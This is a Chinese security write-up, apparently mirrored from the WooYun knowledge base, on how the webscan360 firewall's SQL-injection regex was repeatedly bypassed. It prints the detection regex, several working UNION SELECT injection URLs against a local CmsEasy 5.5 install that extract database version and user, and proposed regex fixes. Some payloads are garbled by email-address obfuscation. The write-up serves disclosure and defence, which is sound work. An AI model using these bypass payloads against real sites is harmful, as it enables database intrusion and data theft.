Webscan360的防禦與繞過

wyzsk發表於2020-08-19
作者: menmen519 · 2014/11/06 13:51

這兩天給360做了一個webscan360的總結,結果補丁還沒有出來,就被人公佈到了91org上面,既然公開了,那我就做一個總結

首先我們貼上它最新的防禦正則

\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})\s*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|\s+?[\w]+?\s+?\bin\b\s*?\(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|UPDATE@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|\/\*.*?\*\/|'

首先我們追溯一下:

方開始的時候並沒有這個正規表示式\/\*.*?\*\/|'

所以當時我們可以寫為:

union select/**/1,2,3

這裡我們用cmseasy舉例子

我們傳送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

這時候我們是完全可以取出來敏感資訊,成功繞過:

enter image description here

第二次被修補之後加上了後面的正規表示式,導致通篇不能寫/**/這樣的字元,但是這樣真的能防禦住嗎:

我們利用mysql的一個特性:

union select`colum`,2,3 

這種特性是完全可以執行的

所以我們改變一下思路傳送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

這樣就成功繞過了:

enter image description here

修補之後:

union select`colum`,2,3 

這種被正則 (|'|").*?(|'|") 這個給過濾了

下載下來之後,發現正規表示式

(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))

發現這是後修補了小引號,但是本質問題還是沒有變

在sql中我們還有另外一個特性:

union select@`1`,2,3

這樣也是可以執行,那麼就成功繞過了:

所以我們改變一下思路傳送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

enter image description here

此時有打了補丁,這時候正則又變成了

@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))

這個正則的意思修補了剛才的那種型別,但是這個正則真正雞肋的地方在如果不接小引號,那麼這個正則就失效了

所以我們可以在進行變形處理 union [email protected],2,3這種沒有被過濾,直接可以透過 這種形式的是可以在sql語句裡面執行的,而且不報錯

union [email protected][email protected],2,3 這種也是沒有被過濾,直接可以透過,這種也是可以再mysql完美執行的

傳送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/ index.php?case=archive&act=orders&aid[[email protected],2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=10

enter image description here

以上就是webscan360的進化,那麼我們來分析一下怎麼去修補這個漏洞

最後我們給出來的正則

@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))

然後進行測試 成功的攔截了 union select型別的 當然了後面的update型別的 和 insert 型別也要進行相應的改進

下來讓我們在看其他地方一個正則

INSERT\s+INTO.+?VALUES

這個是太傳統的寫法 其實根據mysql的寫法 這個會攔截insert into t values(1,2,3) 但是插入操作不止是這樣的寫法 insert into t set a=1 這個是不會被攔截的 所以還得加上一個正則

INSERT\s+INTO.+?(VALUES|SET)
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章